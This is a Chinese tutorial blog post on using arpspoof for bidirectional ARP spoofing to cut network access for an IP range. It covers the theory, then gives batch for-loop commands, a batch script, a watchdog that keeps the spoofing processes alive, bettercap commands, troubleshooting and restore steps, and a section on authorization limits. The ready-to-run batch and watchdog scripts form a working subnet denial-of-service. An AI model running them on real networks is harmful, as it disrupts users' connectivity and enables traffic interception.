arpspoof双向欺骗批量断网：原理、批量脚本与排错全记录-代码聚汇网

arpspoof双向欺骗批量断网：原理、批量脚本与排错全记录

这个世界有猫饼·2026-09-03·阅读 22 GEO检测（免费）

ARP欺骗arpspoof双向欺骗

|难度：普通|阅读约 44 分钟

作为常年混迹内网安全和网络运维的“手工耿”型选手，我接到过不少奇怪的网络隔离需求。比如某次内部演练，要求在不动交换机配置、不碰防火墙规则的前提下，让指定IP段内的设备暂时无法访问网关。这种活儿说难不难，但用常规手段还真不好干——ACL没权限、物理拔线太粗暴、改IP又动静太大。最后我用的方案就是标题里写的：arpspoof双向欺骗，把192.168.110.10到192.168.110.100这一段机器批量“请”下网。

这篇文章就把完整的原理、实操命令、批量脚本思路，以及我踩过的那些“成功率从100%掉到80%”的坑，一次性讲清楚。如果你也遇到类似的临时断网测试、网关隔离演练、或者纯粹想搞懂ARP欺骗为什么能断网，这篇文章可以直接照着抄。

1. 什么场景下需要“批量切断一段IP”

先别急着敲命令，搞明白需求从哪来，后面才不会乱。我遇到过的情况主要有这么几类。

1.1 真实需求往往不是“攻击”，而是隔离测试

很多读者看到“断网”两个字就想到恶意攻击，但实际工作中，这类操作频繁出现在授权测试、故障演练和设备下线场景里。

比如公司要淘汰一批旧终端，但某些设备因为Agent卸载不干净，总在半夜自动连上网络拉取策略。这时候网络管理员没有交换机console权限，又不想一台台去物理拔网线，最快的临时处置方式，就是让这些设备在二层上“找不到网关”——它们还连着交换机，但所有跨网段通信全部超时。

再比如做内网入侵模拟演练，红队需要验证“如果攻击者拿下一台普通主机后，能否通过ARP欺骗切断同网段特定终端的可用性”，用来评估监控系统能不能发现这种异常。这种情况下，arpspoof就是一个标准的测试工具，而不是攻击工具。

还有一类需求更朴素——某个IP段里的机器中了挖矿木马，正在疯狂向外发包。应急响应时来不及逐台隔离，先把整段IP的网络通信掐掉，再慢慢排查。这时候“批量切断”就是一个高效的前置处置动作。

1.2 为什么选arpspoof而不是防火墙/交换机ACL

一句话：因为大多数情况下你根本没有设备权限，或者在二层环境下ACL根本不生效。

防火墙ACL：需要登录防火墙管理界面，而且防火墙通常部署在三层出口，对内网同网段设备之间的二层互访压根管不到。
交换机ACL/端口隔离：需要知道目标接在哪个端口，还要有交换机配置权限，在大型接入网络里逐端口梳理根本不现实。
DHCP改网关：动静太大，还要等客户端续租，时效性差。
arpspoof：只要你在同一个广播域内，有一台Linux机器（或者能装dsniff工具包的任意系统），直接构造ARP应答包就能让目标设备“以为”网关换人了，整个过程不需要任何网络设备权限。

当然，我不是说arpspoof万能。它只在二层可达的范围内有效，而且遇到ARP防护机制会失灵，这些细节后面专门讲。但在“快速、临时、不影响网络设备配置”这个维度上，arpspoof确实是最直接的方案。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 双向欺骗的原理：先搞清楚在骗谁

很多教程一上来就让人跑两条arpspoof命令，但完全不解释为什么是两条。我见过不少人照抄命令后一脸懵：只跑一条的时候目标还能上网，跑两条才断——这是为啥？

2.1 ARP的基本工作流程

ARP（Address Resolution Protocol）解决的是“已知IP，求MAC”的问题。在同一个二层网络里，主机A要给主机B发数据包，光有IP不行，数据链路层需要知道B的MAC地址，否则没法封装以太网帧。

工作流程大概是这样的：

A查询自己的ARP缓存表，看有没有B的IP到MAC映射。
没有的话，A发一个ARP广播请求：“谁是192.168.110.10？请把你的MAC地址告诉我。”
B收到广播后，发现问的是自己，就回一个ARP应答：“192.168.110.10的MAC是aa:bb:cc:dd:ee:ff。”
A收到应答，把这条映射写进ARP缓存，然后正常通信。

注意，ARP协议没有认证机制。任何主机都可以发“ARP应答”，而且很多操作系统对收到ARP应答的处理并不严格——你说是谁，我就信谁，直接更新缓存表。这就是ARP欺骗能成立的根本原因。

2.2 单向欺骗和双向欺骗的区别

假设攻击机是C，目标是A，网关是G。

单向欺骗：C只给A发伪造应答，告诉A“网关的MAC是C的MAC”。效果是A想访问外网时，数据包都发给了C。如果C不开IP转发，A就断网了；如果C开了IP转发，C就变成了中间人，能窃听A的流量。但这时候G并不知道A的MAC变了，所以G发给A的数据包，走的还是正常路径。A发给G的包经过C，G发给A的包却不经过C——这种状态叫“半程劫持”，用来做流量嗅探时只能看到一半数据。

双向欺骗：C同时给A发“网关的MAC是C”的应答，给G发“A的MAC是C”的应答。这样一来，A发往网关的流量经过C，网关发往A的流量也经过C，所有通信都从C这里走一圈。这就是“双向欺骗”，也叫做完全中间人。

标题里提到的“双向欺骗”指的就是这个状态。对于断网这个需求来说，只有双向欺骗才最干净利落——A发给网关的包被C截了，网关回给A的包也被C截了，两条方向的通信同时断掉。

2.3 为什么“不转发”就等于断网

这里有个关键点：arpspoof本身只是发送ARP应答包，它并不修改目标机器的路由表，也不改IP配置。它做的事情只有一个——让A的ARP缓存里“网关IP对应的MAC地址”变成C的MAC地址。

那数据包发出去之后会发生什么？

A把发往网关的数据包封装成以太网帧，目的MAC填的是C的MAC，目的IP还是网关IP。交换机看到目的MAC是C的MAC，就把帧转发给C的端口。C收到这个帧，发现IP不是自己的，按正常Linux主机的做法，它会把包交给IP协议栈处理。由于这个包的目的IP不是本机，系统会尝试做转发——但Linux默认 /proc/sys/net/ipv4/ip_forward 是0，也就是不转发。于是这个数据包直接被丢弃。

网关回给A的数据包同理，回包到C这里就被丢了。

所以断网的本质是：ARP缓存被污染，导致目标主机的数据包全部打到攻击机上，而攻击机默认不转发，包就石沉大海了。

提示：如果你想做中间人嗅探而不是断网，需要执行 sysctl -w net.ipv4.ip_forward=1 开启内核转发。但咱们这篇帖子的需求是断网，所以保持默认的0就行。

3. 环境准备与单目标验证

先跑通一台，再谈批量。批量之前你连单台都搞不定，后面全是灾难现场。

3.1 工具安装：arpspoof在哪个包里

arpspoof是dsniff工具集的一个组件。Kali Linux、Parrot这类渗透测试发行版默认自带，装好就能用。

如果你用的是Ubuntu/Debian，装一下：

bash复制sudo apt update
sudo apt install -y dsniff

CentOS/RHEL系列可能要用EPEL源：

bash复制sudo yum install -y epel-release
sudo yum install -y dsniff

装完跑一下 arpspoof -h，能出帮助信息就说明工具正常。

这里有个小点：有些精简版系统里，dsniff包里还包含macof、mailsnarf、tcpkill等工具，arpspoof只是其中之一。别因为搜不到arpspoof单文件就觉得没装上，直接查dsniff。

3.2 确认网络拓扑信息

动手之前，先把自己机器的网络参数摸清楚。我习惯按下面几个命令逐个确认：

bash复制# 查看网卡接口和IP
ip addr

# 查看路由，明确网关IP
ip route

# 确认arp表当前状态
ip neigh

假设攻击机的网卡是eth0，IP是192.168.110.88，网关是192.168.110.1，目标是192.168.110.10。那攻击机的信息是：

接口：eth0
本机IP：192.168.110.88
网关IP：192.168.110.1
目标IP：192.168.110.10

这就够了。你需要知道目标IP，但不需要知道目标MAC——arpspoof会自己发ARP请求去问，目标只要在线就能拿到。

3.3 单台主机双向欺骗的完整命令

单台双向欺骗的经典两条命令：

bash复制# 终端1：欺骗目标主机，让它以为网关的MAC是攻击机的MAC
sudo arpspoof -i eth0 -t 192.168.110.10 192.168.110.1

# 终端2：欺骗网关，让它以为目标主机的MAC是攻击机的MAC
sudo arpspoof -i eth0 -t 192.168.110.1 192.168.110.10

关键在于 -t 参数后面跟的目标IP和你要伪造的IP，顺序不能乱。

第一条命令的意思是：针对目标主机（192.168.110.10），伪装成网关（192.168.110.1），告诉目标“网关的MAC地址是攻击机的MAC”。
第二条命令的意思是：针对网关（192.168.110.1），伪装成目标主机（192.168.110.10），告诉网关“目标主机的MAC地址是攻击机的MAC”。

两条命令同时在两个终端里跑，或者用 & 放到后台，效果一样。这就算完成了双向欺骗的建立。

跑起来之后，arpspoof会每隔几秒重新发送一次ARP应答，防止目标主机的ARP缓存因为超时被刷新回真实值。这也是为什么它需要一直挂着跑，不能发一条就退出。

提示：如果你的目标主机数量超过几十台，两条命令这样开终端会疯掉。后面第4节会有批量化的处理方式，别急。

3.4 如何验证断网效果且不留下“假阴性”

有些人跑完命令，兴冲冲去ping目标IP，发现还在通，就断言“断网失败”——等等，你要搞清楚ping的是谁。

从攻击机去ping目标IP，这个流量是攻击机和目标之间的直连通信，根本不经过网关。ARP欺骗污染的是目标主机和网关之间的ARP映射，它不影响同一网段内其他主机直连目标。所以用攻击机ping目标，通了是正常的，不通反而说明攻击机自身有问题。

正确的验证方式有两种。

方式一：从目标主机的视角观察。如果你能登录目标主机（或者让目标机上的同事帮忙），在目标机上ping网关：

bash复制# 在目标主机上执行，目标IP是192.168.110.10，网关是192.168.110.1
ping 192.168.110.1

正常情况下延迟极低。执行arpspoof双向欺骗后，这个ping会变成100%丢包或者超时。因为目标主机发出的ICMP请求被送到了攻击机，攻击机不转发，请求就丢了。目标主机收不到网关的回应，自然显示超时。

方式二：在攻击机上查看目标主机的ARP表。在攻击机上执行：

bash复制ip neigh show | grep 192.168.110.10

正常情况下会看到目标IP和它真实MAC地址的对应关系。欺骗生效后，你再看网关（192.168.110.1）对应那条记录，MAC地址会变成目标主机的MAC地址。同时，如果你在攻击机上开启抓包，能看到源源不断的ARP应答包在发送——这就是欺骗在进行中的证据。

这里我要特别提醒一个容易踩坑的地方：不要在交换机上做连通性测试。有人想当然地从交换机上ping目标IP，这基本测不出什么——交换机的ARP表可能还保留着目标的真实MAC，而且即便交换机重新学习到被污染的MAC，它也只是把数据包转给攻击机，不代表目标主机能正常通信。

4. 从单台到批量：针对IP段的自动化脚本

标题里写的是“192.168.110.10 - 192.168.110.100”，这个范围一共91台设备。如果一台台手动开两个终端，你得开182个终端，这就纯属自虐了。批量化的关键不是arpspoof本身，而是怎么管理大量并发的欺骗进程。

4.1 先扫在线主机：别做无用功

ARp欺骗只对在线的主机有效。你对着一个空IP不停发ARP应答，除了浪费带宽没有任何意义。所以第一步永远是扫描在线主机。

我习惯用nmap的ping扫描：

bash复制nmap -sn 192.168.110.0/24

如果想只扫10到100这一段，可以这样：

bash复制nmap -sn 192.168.110.10-100

扫描完成后，nmap会输出所有在线主机的IP和MAC地址。把MAC地址记下来或者输出保存，后面排错时有大用。

这里有个坑：如果目标主机开了防火墙，对ICMP ping不响应，nmap的 -sn 默认还会做TCP SYN ping（发送到443端口）和ACK ping，多数情况下能发现主机。但个别主机真就完全不可探测——遇到这种情况，就不要用扫描结果作为“绝对在线”的依据了。反正arpspoof的机制是发ARP请求找目标，目标在线就会回ARP应答，所以直接对IP段跑，不在线的主机自然没反应，不会报错，只是浪费点流量而已。

4.2 批量执行双向欺骗的两种方式

方式一：最直接的for循环。

bash复制# 批量执行，192.168.110.1 是网关
for i in $(seq 10 100); do
    sudo arpspoof -i eth0 -t 192.168.110.$i 192.168.110.1 > /dev/null 2>&1 &
    sudo arpspoof -i eth0 -t 192.168.110.1 192.168.110.$i > /dev/null 2>&1 &
done

这个循环对每个目标IP启动两个arpspoof进程，共182个进程。运行完之后，目标设备应该全部无法访问网关。

注意重定向输出了——arpspoof会打印大量“sent spoofed packets”之类的信息，如果不管它们，终端会被刷到卡死，所以 >/dev/null 2>&1 必不可少。

方式二：使用脚本控制和管理。

我实际用的比这个复杂一点，因为单纯for循环启动的进程太多，后面想停止时会很麻烦。我一般用screen或tmux管理，或者干脆把进程PID保存到文件里。

bash复制mkdir -p /tmp/arpspoof_pids
for i in $(seq 10 100); do
    sudo arpspoof -i eth0 -t 192.168.110.$i 192.168.110.1 > /dev/null 2>&1 &
    echo $! >> /tmp/arpspoof_pids/target_$i.pid
    sudo arpspoof -i eth0 -t 192.168.110.1 192.168.110.$i > /dev/null 2>&1 &
    echo $! >> /tmp/arpspoof_pids/gateway_$i.pid
done

或者写到脚本里：

bash复制#!/bin/bash
# arpspoof_batch.sh
IFACE="eth0"
GATEWAY="192.168.110.1"
NETWORK="192.168.110"
PID_DIR="/tmp/arpspoof_pids"
mkdir -p $PID_DIR
for i in $(seq 10 100); do
    TARGET="$NETWORK.$i"
    arpspoof -i $IFACE -t $TARGET $GATEWAY >/dev/null 2>&1 &
    echo $! > $PID_DIR/target_$i.pid
    arpspoof -i $IFACE -t $GATEWAY $TARGET >/dev/null 2>&1 &
    echo $! > $PID_DIR/gateway_$i.pid
done
echo "Batch ARP spoofing started for .10-.100"

停止时用：

bash复制for pidfile in /tmp/arpspoof_pids/*.pid; do
    sudo kill $(cat $pidfile)
done

我一般在测试结束后用 pkill arpspoof 一把梭，比逐文件kill还快。不过万一你同时跑着其他依赖arpspoof的任务，分开kill更安全。

4.3 脚本设计要点与“100%成功率”的前提条件

标题敢写“100%”，但我必须给这句话加一个前提条件：在同一广播域内、无ARP防护、目标主机默认TCP/IP配置的前提下，双向欺骗的断网成功率确实接近100%。这不是玄学，是因为ARP协议本身没有验证机制，而大多数操作系统对ARP应答的处理是“来者不拒”。

不过如果你遇到下面任何一种情况，就需要针对性调整脚本，否则成功率会明显打折。

第一，目标主机的ARP缓存更新策略。Windows系统的ARP缓存条目默认存活时间为2到10分钟，如果arpspoof因为某种原因暂停发送了，目标可能在几分钟内恢复通信。批量脚本并发这么多进程，难免有进程崩溃或被杀的情况，所以设计时最好加一个看护逻辑——定期检查进程是否存活，挂了就重新拉起。这个后面排查章节会细讲。

第二，目标系统启用了ARP缓存静态化。有些安全加固后的Windows主机或者Linux主机，管理员手动把网关的ARP绑定成静态条目（arp -s 192.168.110.1 aa:bb:cc:dd:ee:ff）。这种情况下，目标主机会忽略所有ARP应答，欺骗直接失效。遇到这种，脚本再完美也没用。

第三，交换机开启了动态ARP检测（DAI）。DAI会将ARP应答与DHCP Snooping绑定表做比对，如果MAC/IP/端口对不上就丢弃。公共网络、办公网的核心交换机很多都开了这个，碰到这种环境，arpspoof会完全失灵，批量脚本跑得再欢也没效果。

所以我的建议是，批量脚本要设计成“先小规模试点验证，再全段铺开”的节奏。先挑IP段里的一两台机器跑通，确认有效，再对整段执行。别一上来就是182个进程，万一环境不支持，浪费时间还要清理进程。

另外还有个小技巧：保留扫描阶段拿到的真实MAC地址。如果后面要快速恢复，用nmap结果对照ARP表，能快速确认哪些条目被改了，哪些没改。

5. 成功率为什么达不到100%？常见坑与排查链路

标题写了100%，但负责任地说，没有哪个技术方案是无条件100%生效的。我把实际执行中踩过的坑和排错过程完整记录下来，这个价值比单纯贴命令大得多。

5.1 进程存活问题：arpspoof进程自己挂了

批量跑182个进程的时候，最常遇到的就是进程莫名挂掉。我排查过一次，现象是有大约10台目标机器恢复了网络，其他都还是断网状态。我先去检查arpspoof进程数量，发现确实少了20个左右。

为什么进程会挂？我分析下来有几个原因：

一是资源竞争问题。182个进程同时跑，每个进程都独立发送ARP包，对CPU和文件描述符的压力不小。虽然每个进程很轻量，但在性能一般的虚拟机或老机器上，可能因为资源不足被杀掉。

二是进程间互相干扰。arpspoof使用raw socket发送数据包，多个进程同时绑定同一个网卡，在某些内核版本上可能出现socket冲突导致进程退出。

排查方法：

bash复制# 查看当前arpspoof进程数量，期望是182个
ps aux | grep arpspoof | grep -v grep | wc -l

# 查看是否存在zombie进程
ps aux | awk '$8=="Z"'

解决方法是加一层看护脚本，定期检查进程数，发现少了就补上：

bash复制#!/bin/bash
# arpspoof_supervisor.sh - 简单看护，每30秒检查一次
while true; do
    count=$(ps aux | grep arpspoof | grep -v grep | wc -l)
    if [ "$count" -lt 180 ]; then
        echo "[$(date)] arpspoof process count: $count, restarting missing..."
        # 简化处理：全部杀掉重新跑
        pkill arpspoof
        sleep 2
        # 调用批量脚本
        /root/arpspoof_batch.sh
    fi
    sleep 30
done

粗暴但有效。测试期间保持这个看护进程在跑，基本能保证整段IP持续处于断网状态。

5.2 网关的ARP缓存刷新：只骗目标不骗网关，断网不彻底

还有一种典型情况：只跑了单向欺骗（只骗目标），网关侧没有做欺骗。这时候目标主机把网关的MAC映射成攻击机的MAC，但网关还保留着目标主机的真实MAC。结果就是目标发给网关的包全被攻击机丢掉，而网关发给目标的包走正常路径到达目标。目标主机收不到任何来自网关的数据包，所以它连接外网时会出现“发送有数据，接收没响应”的现象。

从实际效果看，目标主机也是断网的——因为它无法获得任何响应。但这不是我推荐的做法，原因是只骗目标不骗网关，会在网关侧留下“目标主机MAC未变”的记录，目标主机更新ARP缓存后迅速恢复，而双向欺骗则让网关侧也持续攻击，目标想恢复也恢复不了。

我最初实验时习惯只跑一条命令省事，后来发现断网效果不稳定，重启网卡或者清ARP缓存的目标很快就恢复了。改成双向欺骗后，即使目标清了缓存，网关侧还是在骗，目标重新发ARP请求时得到的还是攻击机的MAC。

5.3 接口选错：-i参数指定了错误的网卡

这个坑看起来低级，但真的容易犯。攻击机如果有多块网卡，比如笔记本上的有线网卡+无线网卡，或者服务器上有管理网口+业务网口，-i 参数指定错了，ARP包就发到错误的广播域里，目标设备根本收不到。

典型现象是：arpspoof运行正常，日志显示在发包，但目标主机一点反应没有。

排查方式很简单：

bash复制# 检查攻击机ARP表，看网关对应的MAC是不是正常值
ip neigh show | grep 192.168.110.1

如果攻击机都看不到网关的真实MAC，说明你发的ARP流量和目标设备不在同一个二层网络里。再确认一下目标和攻击机是否接在同一个交换机/同一个VLAN下面。

5.4 网段范围理解错误：192.168.110.10-100 不等于整个子网

标题里的范围是 192.168.110.10 - 192.168.110.100，不是整个 192.168.110.0/24 子网。我见过有人图省事，直接把整个子网扫一遍、骗一遍。这在功能和性能上也没大问题，就是多产生了无用的ARP流量，增加了被安全设备发现的风险。真需要精确控制，用 seq 10 100 就行。

但要特别小心一种情况：网关本身也在被欺骗范围内。如果你的网关IP是192.168.110.1，那不在10-100范围内还好。但如果网关是192.168.110.50这种落在范围内的IP，脚本会试图对网关做ARP欺骗，结果就是把自己的“网络出口”也掐了——攻击机和目标设备一起断网，这显然不是你想要的结果。

排错时如果发现“整段IP断网了，但攻击机自己也上不了网”，先看看是不是把网关IP也纳入了欺骗范围。

5.5 ARP防护机制：遇到硬茬子怎么辨别

前面提过DAI，这里说一个辨别技巧。如果你对某台设备做双向欺骗完全无效，但同一网段其他设备都能被正常欺骗，那第一个怀疑的就是这台设备单独做了ARP防护。

怎么验证？在攻击机上用 tcpdump 抓ARP包：

bash复制sudo tcpdump -i eth0 arp and host 192.168.110.10

如果抓到了目标发来的ARP请求，却抓不到它的ARP应答，那就是目标设备丢弃了你的欺骗包。如果连ARP请求都抓不到，说明目标根本没在处理ARP（可能关机了，或者不在这个网段）。

还有一种情况是网关侧做了ARP防护。现象是攻击机能正常欺骗目标（目标断了），但网关的ARP表一直不变，导致网关到目标的回包还是走真实MAC转发。这时目标主机能收到网关的包，但自己发不出去，表现出来是单向通信。换成“断网”视角看，目标还是上不了网，但数据分析时会发现“欺骗只生效了一半”。

5.6 批量脚本的“假阳性”与“假阴性”识别

批量执行完后怎么确认效果？我见过有人直接用nmap扫一下在线主机，发现“还在线”就认为断网失败了——这是个非常典型的误判。

nmap的在线是指“目标IP能响应ARP请求”，只要目标主机还接着网线、网卡没down，它就会响应ARP。ARP欺骗不改IP配置、不down网卡，所以nmap照样能发现它“在线”。但“在线”不代表“能上网”——通信断没断，要看目标能否访问网关。

正确的批量验证方式，是在攻击机上用tcpdump监听网关到目标的流量。如果网关在给目标发数据包（比如其他主机在访问目标的某个服务），而这些包到了攻击机就不动了，说明欺骗生效了。或者让被断网的主机主动尝试访问外网，然后观察攻击机网卡上是否收到了大量目的IP是目标、但目的MAC不是真实目标MAC的数据包——收到了，就说明骗住了。

这里再补一个实用经验：批量断网后不要只看一两个验证点，至少要抽样验证IP段首、中、尾三台设备。只验证一台可能会因为那台设备恰好做了静态ARP绑定而误判整体失败。

6. 测试结束后的恢复与善后

断网测试做完了，怎么收场也是门学问。收场收不好，轻则被运维同事骂，重则让整个网络长时间处于异常状态。

6.1 停止欺骗并恢复ARP表

最直接的停止方式就是杀掉所有arpspoof进程：

bash复制sudo pkill arpspoof

进程杀掉之后，ARP欺骗的“源头”断了，但已经被污染的设备ARP缓存并不会立刻恢复。你要么等ARP缓存超时自动刷新（Windows默认2~10分钟），要么主动帮忙恢复。

主动恢复的方式，是在攻击机上手动发一次正确的ARP应答，把真实网关MAC和目标主机MAC重新“告诉”大家：

bash复制# 查看网关真实MAC
ip neigh show | grep 192.168.110.1

# 手动发送正确ARP广播（可选做法：临时ping一下网关让系统自动学习）
ping -c 3 192.168.110.1

执行完之后，在多个目标设备上 arp -a 或者 ip neigh 确认网关MAC是否已恢复正常。

如果测试规模较大，建议写个恢复脚本：

bash复制#!/bin/bash
# arpspoof_restore.sh
GATEWAY_IP="192.168.110.1"
# 找到网关MAC
GATEWAY_MAC=$(ip neigh show | grep "$GATEWAY_IP" | grep -v REACHABLE | awk '{print $5}' | head -n1)
if [ -n "$GATEWAY_MAC" ]; then
    echo "Found gateway MAC: $GATEWAY_MAC"
    # 广播正确的ARP信息（需要arping或手动构造）
    sudo arping -U -c 5 -I eth0 $GATEWAY_IP
fi

arping的 -U 参数会发送无偿ARP广播（unsolicited ARP announcement），把正确的MAC信息广播到整个网段，帮助设备快速刷新ARP缓存。

6.2 清理iptables、ip_forward等痕迹

如果你在测试过程中开启了内核IP转发、加了iptables规则做流量转发（比如做中间人监听而不是单纯断网），测试结束后必须把这些改回去。

bash复制# 恢复内核默认状态（不转发）
sudo sysctl -w net.ipv4.ip_forward=0

# 查看iptables规则
sudo iptables -L -t nat -n -v
sudo iptables -L -n -v

# 如果有PREROUTING或POSTROUTING规则，手动flush
sudo iptables -t nat -F
sudo iptables -t nat -X

注意，iptables的 -F 是清空规则，会把你自己之前配的端口转发、NAT规则一起清掉。生产环境上操作之前一定要先备份现有规则：

bash复制sudo iptables-save > /tmp/iptables_before_test.rules

恢复时：

bash复制sudo iptables-restore < /tmp/iptables_before_test.rules

6.3 验证网络恢复

恢复操作的收尾，仍然是验证。我的习惯是恢复后隔一小段时间再验证一次，因为ARP缓存刷新有延迟：

bash复制# 在攻击机上反复查看网关和目标的ARP状态
watch -n 1 ip neigh show

并且找一台之前被断网的设备，确认它能ping通网关和外网IP。等确认所有目标设备都恢复了网络，整个测试才算真正结束。

7. 适用范围、授权边界与更优雅的替代方案

这一节是我认为最重要的内容，因为arpspoof这个工具太容易“用力过猛”了。

7.1 哪些场景允许用、哪些场景绝对不能用

先说能用的场景：

你有明确授权的渗透测试、红队演练，测试范围书面写明了包含这个IP段。
你负责的网络在做隔离验证，比如验证“如果某台设备失去网关访问能力，业务系统是否还能正常运行”，这是你权限范围内的运维操作。
实验室环境做ARP协议研究，所有设备都是你自己的。
应急响应中隔离中毒主机，需要临时阻断其通信，同时你有相应的操作授权。

绝对不能用的场景：

未经授权的测试。不管你是出于好奇、报复还是“帮忙”，只要没经过网络所有者授权，对他人网络进行ARP欺骗都是明确的违规行为。这个我非常严肃地提醒，别在这上面栽跟头。
公共网络环境（酒店、机场、咖啡厅Wi-Fi）。在这种地方对别人的设备做ARP欺骗，轻则民事纠纷，重则引发法律后果。
生产环境未经审批的擅自操作。哪怕你确实有网络管理权限，也应该先走变更流程，否则出了问题说不清。

7.2 比arpspoof更优雅的替代方案

arpspoof简单直接，但缺功能管理和优雅性。实际测试中，我更倾向用下面几个工具。

第一是bettercap。它算是modern版的ARP中间人工具，自带交互式shell、模块化架构、HTTP/HTTPS流量嗅探等功能。批量断网可以用它的 arp.spoof 模块配合 net.probe 模块：

bash复制sudo bettercap -eval "set arp.spoof.targets 192.168.110.10-100; arp.spoof on"

bettercap支持CIDR和IP范围直接作为target，比for循环启动上百个进程优雅得多，而且进程管理和恢复都更简便。

第二是Ettercap。它也有ARP poisoning功能，还带图形界面。但对于纯断网这种需求，Ettercap的批量目标设置没有bettercap方便，适合小规模测试。

第三是直接在交换机上做端口隔离或ACL。如果你碰巧有交换机权限，而且断网是长期需求（不是临时测试），那用交换机的MAC地址过滤、ACL、端口隔离才是正道。arpspoof只是“没有权限时的临时替代品”，不要把它当成长期方案用。

7.3 个人实战体会

最后一次在实际项目中大规模用这个方案，是在一次内部红蓝对抗演练里。业务方要求模拟“网段内终端被批量切断网络”的场景，验证安全监控能不能及时发现。我当时的做法是：先扫IP段确认目标在线情况，再用bettercap的arp.spoof模块批量执行，同时打开tcpdump持续抓包作为证据留存。整个过程持续了40分钟，期间安全告警平台确实产生了ARP异常告警——这说明监控是有效的，演练目标达成，测试结束后一键关闭欺骗模块，所有终端网络立即恢复。

那次经历让我对“批量断网”这件事有了更清晰的认知：这类技术真正的价值，从来不是为了制造破坏，而是帮助我们发现网络里的薄弱环节、验证安全策略的可靠性。当你掌握了它，你既可以用它来做防御验证，也可以用它来判断“如果你的网络里有人这么做，你能不能发现并在最短时间内处置”。

回到标题那句“100%批量切断”——技术层面能做到，但前提永远是授权、可控、可恢复。这三个词缺一个，这个方案都会从“技术工具”变成“麻烦制造机”。我自己每次执行完这类测试，都会额外多花几分钟确认所有设备ARP缓存恢复、网络通信正常，再写测试报告存档。毕竟不留尾巴，才能在下一次需要的时候，放心大胆地再用这个方案。